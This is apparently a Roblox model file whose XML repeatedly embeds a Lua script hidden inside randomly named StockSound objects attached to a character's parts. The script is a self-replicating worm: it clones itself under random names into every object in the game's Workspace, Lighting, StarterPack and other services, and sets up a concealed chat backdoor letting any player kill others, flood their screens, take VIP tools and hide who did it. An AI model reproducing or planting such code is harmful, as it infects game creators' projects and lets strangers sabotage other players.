if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX123">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>12.6474276</X>
							<Y>1.29895926</Y>
							<Z>-11.3934555</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX124">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">6grqzi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX125">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">jk33w2ajk</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX126">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX127">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">4szj7rd3c</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX128">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">nxspf</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
